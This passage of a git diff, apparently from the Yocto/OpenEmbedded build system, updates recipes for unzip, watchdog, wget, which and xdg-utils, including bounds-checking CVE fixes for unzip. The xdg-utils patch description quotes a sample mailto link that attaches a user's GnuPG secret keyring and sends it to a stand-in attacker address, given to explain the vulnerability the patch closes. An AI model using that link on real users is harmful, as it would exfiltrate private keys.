+- if ((buffer = (char *)malloc(wsize * max_bytes + 1)) == NULL) {
++ buffer_size = wsize * max_bytes + 1;
++ if ((buffer = (char *)malloc(buffer_size)) == NULL) {
+ return NULL;
+ }
+
+@@ -2552,7 +2554,11 @@ char *wide_to_local_string(wide_string, escape_all)
+ /* no MB for this wide */
+ /* use escape for wide character */
+ char *escape_string = wide_to_escape_string(wide_string[i]);
+- strcat(buffer, escape_string);
++ size_t buffer_len = strlen(buffer);
++ size_t escape_string_len = strlen(escape_string);
++ if (buffer_len + escape_string_len + 1 > buffer_size)
++ escape_string_len = buffer_size - buffer_len - 1;
++ strncat(buffer, escape_string, escape_string_len);
+ free(escape_string);
+ }
+ }
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch b/meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch
new file mode 100644
index 0000000000..363dafddc9
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch
@@ -0,0 +1,33 @@
+https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1010355
+
+CVE: CVE-2022-0530
+Upstream-Status: Inactive-Upstream [need a new release]
+
+diff --git a/fileio.c b/fileio.c
+index 6290824..77e4b5f 100644
+--- a/fileio.c
++++ b/fileio.c
+@@ -2361,6 +2361,9 @@ int do_string(__G__ length, option) /* return PK-type error code */
+ /* convert UTF-8 to local character set */
+ fn = utf8_to_local_string(G.unipath_filename,
+ G.unicode_escape_all);
++ if (fn == NULL)
++ return PK_ERR;
++
+ /* make sure filename is short enough */
+ if (strlen(fn) >= FILNAMSIZ) {
+ fn[FILNAMSIZ - 1] = '\0';
+diff --git a/process.c b/process.c
+index d2a846e..715bc0f 100644
+--- a/process.c
++++ b/process.c
+@@ -2605,6 +2605,8 @@ char *utf8_to_local_string(utf8_string, escape_all)
+ int escape_all;
+ {
+ zwchar *wide = utf8_to_wide_string(utf8_string);
++ if (wide == NULL)
++ return NULL;
+ char *loc = wide_to_local_string(wide, escape_all);
+ free(wide);
+ return loc;
+
diff --git a/meta/recipes-extended/unzip/unzip/avoid-strip.patch b/meta/recipes-extended/unzip/unzip/avoid-strip.patch
index 8f30e42674..70bedc8381 100644
--- a/meta/recipes-extended/unzip/unzip/avoid-strip.patch
+++ b/meta/recipes-extended/unzip/unzip/avoid-strip.patch
@@ -1,4 +1,4 @@
-Upstream-Status: Pending
+Upstream-Status: Inactive-Upstream [need a new release]
unix/Makefile: remove hard coded strip commands
diff --git a/meta/recipes-extended/unzip/unzip/define-ldflags.patch b/meta/recipes-extended/unzip/unzip/define-ldflags.patch
index 659c6e3315..dd01c01400 100644
--- a/meta/recipes-extended/unzip/unzip/define-ldflags.patch
+++ b/meta/recipes-extended/unzip/unzip/define-ldflags.patch
@@ -1,6 +1,6 @@
Pass LDFLAGS to the linker
-Upstream-Status: Pending
+Upstream-Status: Inactive-Upstream [need a new release]
Signed-off-by: Mikhail Durnev <Mikhail_Durnev@mentor.com>
diff --git a/meta/recipes-extended/unzip/unzip/fix-security-format.patch b/meta/recipes-extended/unzip/unzip/fix-security-format.patch
index 8e9b06c423..2889c652d4 100644
--- a/meta/recipes-extended/unzip/unzip/fix-security-format.patch
+++ b/meta/recipes-extended/unzip/unzip/fix-security-format.patch
@@ -5,7 +5,7 @@ Fix security formatting issues related to sprintf parameters expeted.
[YOCTO #9551]
[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9551]
-Upstream-Status: Pending
+Upstream-Status: Inactive-Upstream [need a new release]
Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
diff --git a/meta/recipes-extended/unzip/unzip/symlink.patch b/meta/recipes-extended/unzip/unzip/symlink.patch
index a38f6f1612..26f1c8ba86 100644
--- a/meta/recipes-extended/unzip/unzip/symlink.patch
+++ b/meta/recipes-extended/unzip/unzip/symlink.patch
@@ -6,7 +6,7 @@ a symlink entry."
This patch is taken from Fedora (https://bugzilla.redhat.com/show_bug.cgi?id=972427)
-Upstream-Status: Pending (upstream is dead)
+Upstream-Status: Inactive-Upstream [need a new release]
Signed-off-by: Ross Burton <ross.burton@intel.com>
--- unzip60/process.c.sav 2013-06-09 12:08:57.070392264 +0200
diff --git a/meta/recipes-extended/unzip/unzip/unzip_optimization.patch b/meta/recipes-extended/unzip/unzip/unzip_optimization.patch
new file mode 100644
index 0000000000..4bab7b26af
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/unzip_optimization.patch
@@ -0,0 +1,127 @@
+unzip: use optimization from bitbake
+
+Remove -O3 optimizations to use bitbake default optimization levels.
+
+Upstream-Status: Inappropriate [configuration]
+
+Signed-off-by: Mikko Rapeli <mikko.rapeli@bmw.de>
+
+diff -rup unix-orig/configure unix/configure
+--- a/unix-orig/configure 2021-04-16 10:25:03.120858292 +0000
++++ b/unix/configure 2021-04-16 10:46:43.292546138 +0000
+@@ -70,7 +70,7 @@ int main()
+ _EOF_
+ $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null
+ if test $? -eq 0; then
+- CFLAGS_OPT='-O3'
++ CFLAGS_OPT=''
+ echo " DEC C ($CFLAGS_OPT)"
+ else
+ # HP-UX HP C?
+@@ -111,7 +111,7 @@ int main()
+ _EOF_
+ $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null
+ if test $? -eq 0; then
+- CFLAGS_OPT='-O3'
++ CFLAGS_OPT=''
+ echo " GNU C ($CFLAGS_OPT)"
+ # Special Mac OS X shared library "ld" option?
+ if test ` uname -s 2> /dev/null ` = 'Darwin'; then
+diff -rup unix-orig/Makefile unix/Makefile
+--- a/unix-orig/Makefile 2021-04-16 10:25:03.000863878 +0000
++++ b/unix/Makefile 2021-04-16 10:47:31.658299278 +0000
+@@ -47,7 +47,7 @@ LD = $(CC)# must match, else "unresolved
+ AS = as
+ LOC = $(D_USE_BZ2) $(LOCAL_UNZIP)
+ AF = $(LOC)
+-CFLAGS = -O
++CFLAGS =
+ CF_NOOPT = -I. -I$(IZ_BZIP2) -DUNIX $(LOC)
+ CF = $(CFLAGS) $(CF_NOOPT)
+ LFLAGS1 =
+@@ -594,12 +594,12 @@ generic_shlib: unix_make
+ @echo\
+ 'which is UnZip linked with the DLL). This target is an example only.'
+ @echo ""
+- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC -DDLL"
++ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC -DDLL"
+ gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)
+ $(RM) libunzip.so.0 libunzip.so
+ $(LN) -s libunzip.so.0.4 libunzip.so.0
+ $(LN) -s libunzip.so.0 libunzip.so
+- gcc -c -O unzipstb.c
++ gcc -c unzipstb.c
+ gcc -o unzip_shlib unzipstb.o -L. -lunzip
+
+ #----------------------------------------------------------------------------
+@@ -775,7 +775,7 @@ freebsd: unix_make
+ # with "echo" instead).
+ #
+ gcc: unix_make
+- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O3" LF2=""
++ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="" LF2=""
+
+ # Heurikon HK68 (68010), UniPlus+ System V 5.0, Green Hills C-68000
+ hk68: unix_make
+@@ -792,7 +792,7 @@ isc: unix_make
+ isc_gcc: unix_make
+ $(MAKE) unzips AS=gcc CC=gcc LD=gcc CRCA_O=crc_gcc$O \
+ LF="-shlib $(LF)" SL="-shlib $(SL)" FL="-shlib $(FL)" LF2="" \
+- CFLAGS="-O3" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \
++ CFLAGS="" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \
+ AF="-DNO_UNDERLINE -Djecxz=jcxz -DALIGNMENT='.align 16' $(AF)"
+ $(STRIP) $(UNZIPS)
+
+@@ -808,7 +808,7 @@ isi: unix_make
+ linux: unix_make
+ @echo 'NOTE: use linux_noasm target for non-Intel Linux compiles.'
+ $(MAKE) unzips CC=gcc LD=gcc AS=gcc\
+- CFLAGS="-O3 -Wall -DASM_CRC"\
++ CFLAGS="-Wall -DASM_CRC"\
+ AF="-Di386 $(AF)" CRCA_O=crc_gcc$O
+ # GRR: this echo is pointless; if user gets this far, no difference to install
+ # @echo 'Be sure to use the install_asm target rather than the install target'
+@@ -818,14 +818,14 @@ linux_asm: linux
+ # Linux (Posix, approximately SysV): virtually any version since before 0.96,
+ # for any platform. Change "-O" to "-O3" or whatever, as desired...
+ linux_noasm: unix_make
+- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O -Wall"
++ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-Wall"
+
+ # Linux with lcc compiler: __inline__ (stat.h) not recognized, and must edit
+ # /usr/include/gnu/types.h to get rid of "long long" if __LCC__ defined. -O3
+ # (or -O2 or -O) is ignored. [GRR 960828: test target only]
+ #
+ linux_lcc: unix_make
+- $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-O3 -Wall -D__inline__= "
++ $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-Wall -D__inline__= "
+
+ # Linux host with go32 (djgpp) cross-compiler (go32crs.tgz) for 32-bit DOS.
+ linux_dos: unix_make
+@@ -844,7 +844,7 @@ linux_dos: unix_make
+ # library).
+ #
+ linux_shlib: unix_make
+- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC"\
++ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC"\
+ LOC="-DDLL -DASM_CRC $(LOC)"\
+ AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O
+ gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\
+@@ -858,7 +858,7 @@ linux_shlib: unix_make
+ # instead of the original UnZip version. (libz was libgz prior to 0.94)
+ linux_shlibz: unix_make
+ $(MAKE) objsdll CC=gcc AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O\
+- CFLAGS="-O3 -Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)"
++ CFLAGS="-Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)"
+ gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\
+ crc_gcc.pic.o
+ ln -sf libunzip.so.0.4 libunzip.so.0
+@@ -871,7 +871,7 @@ lynx: unix_make
+
+ # Macintosh MacOS X (Unix-compatible enviroment), using standard compiler
+ macosx: unix_make
+- $(MAKE) unzips CFLAGS="-O3 -Wall -DBSD" LF2=""
++ $(MAKE) unzips CFLAGS="-Wall -DBSD" LF2=""
+ $(STRIP) $(UNZIPS)
+
+ # Macintosh MacOS X (Unix-compatible enviroment), using gcc
diff --git a/meta/recipes-extended/unzip/unzip_6.0.bb b/meta/recipes-extended/unzip/unzip_6.0.bb
index c1ea0a9a2c..27076d5d9b 100644
--- a/meta/recipes-extended/unzip/unzip_6.0.bb
+++ b/meta/recipes-extended/unzip/unzip_6.0.bb
@@ -1,10 +1,10 @@
SUMMARY = "Utilities for extracting and viewing files in .zip archives"
HOMEPAGE = "http://www.info-zip.org"
+DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc."
SECTION = "console/utils"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=94caec5a51ef55ef711ee4e8b1c69e29"
PE = "1"
-PR = "r5"
SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/UnZip%206.x%20%28latest%29/UnZip%206.0/unzip60.tar.gz \
file://avoid-strip.patch \
@@ -25,12 +25,21 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/UnZip%206.x%20%28latest%29/UnZip%206.0/
file://CVE-2019-13232_p1.patch \
file://CVE-2019-13232_p2.patch \
file://CVE-2019-13232_p3.patch \
+ file://unzip_optimization.patch \
+ file://0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch \
+ file://CVE-2021-4217.patch \
+ file://CVE-2022-0529.patch \
+ file://CVE-2022-0530.patch \
+ file://0001-configure-Add-correct-system-headers-and-prototypes-.patch \
+ file://0001-unix-configure-fix-detection-for-cross-compilation.patch \
"
UPSTREAM_VERSION_UNKNOWN = "1"
SRC_URI[md5sum] = "62b490407489521db863b523a7f86375"
SRC_URI[sha256sum] = "036d96991646d0449ed0aa952e4fbe21b476ce994abc276e49d30e686708bd37"
+CVE_STATUS[CVE-2008-0888] = "fixed-version: Patch from https://bugzilla.redhat.com/attachment.cgi?id=293893&action=diff applied to 6.0 source"
+
# exclude version 5.5.2 which triggers a false positive
UPSTREAM_CHECK_REGEX = "unzip(?P<pver>(?!552).+)\.tgz"
@@ -44,7 +53,7 @@ EXTRA_OEMAKE = "-e MAKEFLAGS= STRIP=true LF2='' \
'CF_NOOPT=-I. -Ibzip2 -DUNIX ${CFLAGS}'"
export LD = "${CC}"
-LD_class-native = "${CC}"
+LD:class-native = "${CC}"
do_compile() {
oe_runmake -f unix/Makefile generic
@@ -61,7 +70,7 @@ inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "unzip"
+ALTERNATIVE:${PN} = "unzip"
ALTERNATIVE_LINK_NAME[unzip] = "${bindir}/unzip"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/watchdog/watchdog-config.bb b/meta/recipes-extended/watchdog/watchdog-config.bb
index 8bf40f0f0e..f138952128 100644
--- a/meta/recipes-extended/watchdog/watchdog-config.bb
+++ b/meta/recipes-extended/watchdog/watchdog-config.bb
@@ -5,7 +5,7 @@ the system."
HOMEPAGE = "http://watchdog.sourceforge.net/"
BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SRC_URI = " \
@@ -13,8 +13,15 @@ SRC_URI = " \
file://watchdog.conf \
"
+# The default value is 60 seconds when null.
+WATCHDOG_TIMEOUT ??= ""
+
do_install() {
install -Dm 0644 ${WORKDIR}/watchdog.default ${D}${sysconfdir}/default/watchdog
install -Dm 0644 ${WORKDIR}/watchdog.conf ${D}${sysconfdir}/watchdog.conf
+
+ if [ -n "${WATCHDOG_TIMEOUT}" ]; then
+ echo "watchdog-timeout = ${WATCHDOG_TIMEOUT}" >> ${D}/etc/watchdog.conf
+ fi
}
diff --git a/meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch b/meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch
new file mode 100644
index 0000000000..8c419e1d11
--- /dev/null
+++ b/meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch
@@ -0,0 +1,37 @@
+From ca1d379fa13c4055d42d2ff3a647b4397768efcd Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 23 Aug 2022 19:23:26 -0700
+Subject: [PATCH] shutdown: Do not guard sys/quota.h sys/swap.h and
+ sys/reboot.h with __GLIBC__
+
+These headers are provided by uclibc/musl/glibc and bionic so we can
+assume they are not needed to be glibc specific includes. This also
+ensures that we get proper declaration of reboot() API
+
+Upstream-Status: Submitted [https://sourceforge.net/p/watchdog/patches/12/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/shutdown.c | 4 ----
+ 1 file changed, 4 deletions(-)
+
+diff --git a/src/shutdown.c b/src/shutdown.c
+index 1d9a857..6aea0d0 100644
+--- a/src/shutdown.c
++++ b/src/shutdown.c
+@@ -29,13 +29,9 @@
+ #include "extern.h"
+ #include "ext2_mnt.h"
+
+-#if defined __GLIBC__
+ #include <sys/quota.h>
+ #include <sys/swap.h>
+ #include <sys/reboot.h>
+-#else /* __GLIBC__ */
+-#include <linux/quota.h>
+-#endif /* __GLIBC__ */
+
+ #include <unistd.h>
+
+--
+2.37.2
+
diff --git a/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch b/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch
new file mode 100644
index 0000000000..5c5d2f4e44
--- /dev/null
+++ b/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch
@@ -0,0 +1,30 @@
+From b5cb6166dbfa57d1d94b19d4a098991a817f68f5 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 15 Oct 2020 10:02:17 +0800
+Subject: [PATCH] wd_keepalive.service: use /run instead of /var/run
+
+/var/run is deprecated by systemd, use /run instead.
+
+Upstream-Status: Pending
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ debian/wd_keepalive.service | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/debian/wd_keepalive.service b/debian/wd_keepalive.service
+index 7f8b1dc..0f2a153 100644
+--- a/debian/wd_keepalive.service
++++ b/debian/wd_keepalive.service
+@@ -7,7 +7,7 @@ Type=forking
+ EnvironmentFile=/etc/default/watchdog
+ ExecStartPre=/bin/sh -c '[ -z "${watchdog_module}" ] || [ "${watchdog_module}" = "none" ] || /sbin/modprobe $watchdog_module'
+ ExecStart=/usr/sbin/wd_keepalive $watchdog_options
+-PIDFile=/var/run/wd_keepalive.pid
++PIDFile=/run/wd_keepalive.pid
+
+ [Install]
+ WantedBy=multi-user.target
+--
+2.17.1
+
diff --git a/meta/recipes-extended/watchdog/watchdog_5.16.bb b/meta/recipes-extended/watchdog/watchdog_5.16.bb
index 0199487e2e..5325ccafda 100644
--- a/meta/recipes-extended/watchdog/watchdog_5.16.bb
+++ b/meta/recipes-extended/watchdog/watchdog_5.16.bb
@@ -5,45 +5,47 @@ it will reboot the system."
HOMEPAGE = "http://watchdog.sourceforge.net/"
BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194"
-LICENSE = "GPL-2.0+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=084236108b1d4a9851bf5213fea586fd"
SRC_URI = "${SOURCEFORGE_MIRROR}/watchdog/watchdog-${PV}.tar.gz \
file://0001-watchdog-remove-interdependencies-of-watchdog-and-wd.patch \
file://watchdog.init \
file://wd_keepalive.init \
+ file://0001-wd_keepalive.service-use-run-instead-of-var-run.patch \
+ file://0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch \
"
SRC_URI[md5sum] = "1b4f51cabc64d1bee2fce7cdd626831f"
SRC_URI[sha256sum] = "b8e7c070e1b72aee2663bdc13b5cc39f76c9232669cfbb1ac0adc7275a3b019d"
+# Can be dropped when the output next changes, avoids failures after
+# reproducibility issues
+
UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/watchdog/files/watchdog/"
UPSTREAM_CHECK_REGEX = "/watchdog/(?P<pver>(\d+[\.\-_]*)+)/"
inherit autotools update-rc.d systemd pkgconfig
-DEPENDS += "libtirpc"
-CFLAGS += "-I${STAGING_INCDIR}/tirpc"
-LDFLAGS += "-ltirpc"
-
EXTRA_OECONF += " --disable-nfs "
+CACHED_CONFIGUREVARS += "ac_cv_path_PATH_SENDMAIL=${sbindir}/sendmail"
INITSCRIPT_PACKAGES = "${PN} ${PN}-keepalive"
-INITSCRIPT_NAME_${PN} = "watchdog"
-INITSCRIPT_PARAMS_${PN} = "start 25 1 2 3 4 5 . stop 85 0 6 ."
+INITSCRIPT_NAME:${PN} = "watchdog"
+INITSCRIPT_PARAMS:${PN} = "start 25 1 2 3 4 5 . stop 85 0 6 ."
-INITSCRIPT_NAME_${PN}-keepalive = "wd_keepalive"
-INITSCRIPT_PARAMS_${PN}-keepalive = "start 25 1 2 3 4 5 . stop 85 0 6 ."
+INITSCRIPT_NAME:${PN}-keepalive = "wd_keepalive"
+INITSCRIPT_PARAMS:${PN}-keepalive = "start 25 1 2 3 4 5 . stop 85 0 6 ."
SYSTEMD_PACKAGES = "${PN} ${PN}-keepalive"
-SYSTEMD_SERVICE_${PN} = "watchdog.service"
-SYSTEMD_SERVICE_${PN}-keepalive = "wd_keepalive.service"
+SYSTEMD_SERVICE:${PN} = "watchdog.service"
+SYSTEMD_SERVICE:${PN}-keepalive = "wd_keepalive.service"
# When using systemd, consider making use of internal watchdog support of systemd.
# See RuntimeWatchdogSec in /etc/systemd/system.conf.
SYSTEMD_AUTO_ENABLE = "disable"
-do_install_append() {
+do_install:append() {
install -d ${D}${systemd_system_unitdir}
install -m 0644 ${S}/debian/watchdog.service ${D}${systemd_system_unitdir}
install -m 0644 ${S}/debian/wd_keepalive.service ${D}${systemd_system_unitdir}
@@ -57,15 +59,15 @@ do_install_append() {
PACKAGES =+ "${PN}-keepalive"
-FILES_${PN}-keepalive = " \
+FILES:${PN}-keepalive = " \
${sysconfdir}/init.d/wd_keepalive \
${systemd_system_unitdir}/wd_keepalive.service \
${sbindir}/wd_keepalive \
"
-RDEPENDS_${PN} += "${PN}-config"
-RRECOMMENDS_${PN} += "kernel-module-softdog"
+RDEPENDS:${PN} += "${PN}-config"
+RRECOMMENDS:${PN} += "kernel-module-softdog"
-RDEPENDS_${PN}-keepalive += "${PN}-config"
-RCONFLICTS_${PN}-keepalive += "${PN}"
-RRECOMMENDS_${PN}-keepalive += "kernel-module-softdog"
+RDEPENDS:${PN}-keepalive += "${PN}-config"
+RCONFLICTS:${PN}-keepalive += "${PN}"
+RRECOMMENDS:${PN}-keepalive += "kernel-module-softdog"
diff --git a/meta/recipes-extended/wget/wget.inc b/meta/recipes-extended/wget/wget.inc
index 2338328216..51926e7296 100644
--- a/meta/recipes-extended/wget/wget.inc
+++ b/meta/recipes-extended/wget/wget.inc
@@ -6,22 +6,24 @@ The program supports recursive retrieval of web-authoring pages as well as \
FTP sites"
HOMEPAGE = "https://www.gnu.org/software/wget/"
SECTION = "console/network"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6f65012d1daf98cb09b386cfb68df26b"
inherit autotools gettext texinfo update-alternatives pkgconfig
+DEPENDS += "autoconf-archive-native"
+
EXTRA_OECONF = "--without-libgnutls-prefix --without-libssl-prefix \
--disable-rpath"
EXTRA_OEMAKE += 'TOOLCHAIN_OPTIONS="${TOOLCHAIN_OPTIONS}" \
DEBUG_PREFIX_MAP="${DEBUG_PREFIX_MAP}"'
-ALTERNATIVE_${PN} = "wget"
-ALTERNATIVE_${PN}_class-nativesdk = ""
+ALTERNATIVE:${PN} = "wget"
+ALTERNATIVE:${PN}:class-nativesdk = ""
ALTERNATIVE_PRIORITY = "100"
-RRECOMMENDS_${PN} += "ca-certificates"
+RRECOMMENDS:${PN} += "ca-certificates"
BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch b/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
index 050fc2c7e1..5438bafdcb 100644
--- a/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
+++ b/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
@@ -1,4 +1,4 @@
-From 7f1357529d23b356b45fbb0dd7388588162e4cb8 Mon Sep 17 00:00:00 2001
+From b86e57b68363d108fe77c6fd588a275d2696cabe Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Wed, 10 Jan 2018 14:43:20 +0800
Subject: [PATCH] src/Makefile.am: improve reproducibility
@@ -44,10 +44,10 @@ Signed-off-by: Joe Slater <jslater@windriver.com>
1 file changed, 4 insertions(+)
diff --git a/src/Makefile.am b/src/Makefile.am
-index 28c0be2..44084a3 100644
+index 18ec622..38d252d 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
-@@ -87,9 +87,13 @@ version.c: $(wget_SOURCES) ../lib/libgnu.a
+@@ -108,9 +108,13 @@ version.c: $(wget_SOURCES) ../lib/libgnu.a
echo '#include "version.h"' >> $@
echo 'const char *version_string = "@VERSION@";' >> $@
echo 'const char *compilation_string = "'$(COMPILE)'";' \
@@ -61,6 +61,3 @@ index 28c0be2..44084a3 100644
| $(ESCAPEQUOTE) >> $@
css.c: $(srcdir)/css.l
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/wget/wget_1.20.3.bb b/meta/recipes-extended/wget/wget_1.20.3.bb
deleted file mode 100644
index 4fa273d093..0000000000
--- a/meta/recipes-extended/wget/wget_1.20.3.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-SRC_URI = "${GNU_MIRROR}/wget/wget-${PV}.tar.gz \
- file://0002-improve-reproducibility.patch \
- "
-
-SRC_URI[md5sum] = "db4e6dc7977cbddcd543b240079a4899"
-SRC_URI[sha256sum] = "31cccfc6630528db1c8e3a06f6decf2a370060b982841cfab2b8677400a5092e"
-
-require wget.inc
diff --git a/meta/recipes-extended/wget/wget_1.24.5.bb b/meta/recipes-extended/wget/wget_1.24.5.bb
new file mode 100644
index 0000000000..64e6ee80af
--- /dev/null
+++ b/meta/recipes-extended/wget/wget_1.24.5.bb
@@ -0,0 +1,7 @@
+SRC_URI = "${GNU_MIRROR}/wget/wget-${PV}.tar.gz \
+ file://0002-improve-reproducibility.patch \
+ "
+
+SRC_URI[sha256sum] = "fa2dc35bab5184ecbc46a9ef83def2aaaa3f4c9f3c97d4bd19dcb07d4da637de"
+
+require wget.inc
diff --git a/meta/recipes-extended/which/which_2.21.bb b/meta/recipes-extended/which/which_2.21.bb
index fac0fd3944..77861370e5 100644
--- a/meta/recipes-extended/which/which_2.21.bb
+++ b/meta/recipes-extended/which/which_2.21.bb
@@ -4,16 +4,15 @@ executables that bash(1) would execute when the passed \
program names would have been entered on the shell prompt. \
It does this by using the exact same algorithm as bash."
SECTION = "libs"
-HOMEPAGE = "http://carlo17.home.xs4all.nl/which/"
+HOMEPAGE = "https://carlowood.github.io/which/"
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504\
file://which.c;beginline=1;endline=17;md5=a9963693af2272e7a8df6f231164e7a2"
DEPENDS = "cwautomacros-native"
inherit autotools texinfo update-alternatives
-PR = "r3"
EXTRA_OECONF = "--disable-iberty"
@@ -24,12 +23,14 @@ SRC_URI = "${GNU_MIRROR}/which/which-${PV}.tar.gz \
SRC_URI[md5sum] = "097ff1a324ae02e0a3b0369f07a7544a"
SRC_URI[sha256sum] = "f4a245b94124b377d8b49646bf421f9155d36aa7614b6ebf83705d3ffc76eaad"
-do_configure_prepend() {
+do_configure:prepend() {
sed -i -e 's%@ACLOCAL_CWFLAGS@%-I ${STAGING_DIR_NATIVE}/usr/share/cwautomacros/m4%g' ${S}/Makefile.am ${S}/tilde/Makefile.am
}
-ALTERNATIVE_${PN} = "which"
+ALTERNATIVE:${PN} = "which"
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN}-doc = "which.1"
+ALTERNATIVE:${PN}-doc = "which.1"
ALTERNATIVE_LINK_NAME[which.1] = "${mandir}/man1/which.1"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
new file mode 100644
index 0000000000..948b9e22e9
--- /dev/null
+++ b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
@@ -0,0 +1,58 @@
+From 1f199813e0eb0246f63b54e9e154970e609575af Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
+Date: Tue, 18 Aug 2020 16:52:24 +0100
+Subject: [PATCH] xdg-email: remove attachment handling from mailto
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+This allows attacker to extract secrets from users:
+
+mailto:sid@evil.com?attach=/.gnupg/secring.gpg
+
+See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425
+and https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177
+
+Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
+---
+ scripts/xdg-email.in | 7 +------
+ 1 file changed, 1 insertion(+), 6 deletions(-)
+
+Upstream-Status: Backport
+CVE: CVE-2020-27748
+
+diff --git a/scripts/xdg-email.in b/scripts/xdg-email.in
+index 6db58ad..5d2f4f3 100644
+--- a/scripts/xdg-email.in
++++ b/scripts/xdg-email.in
+@@ -32,7 +32,7 @@ _USAGE
+
+ run_thunderbird()
+ {
+- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH
++ local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
+ THUNDERBIRD="$1"
+ MAILTO=$(echo "$2" | sed 's/^mailto://')
+ echo "$MAILTO" | grep -qs "^?"
+@@ -48,7 +48,6 @@ run_thunderbird()
+ BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
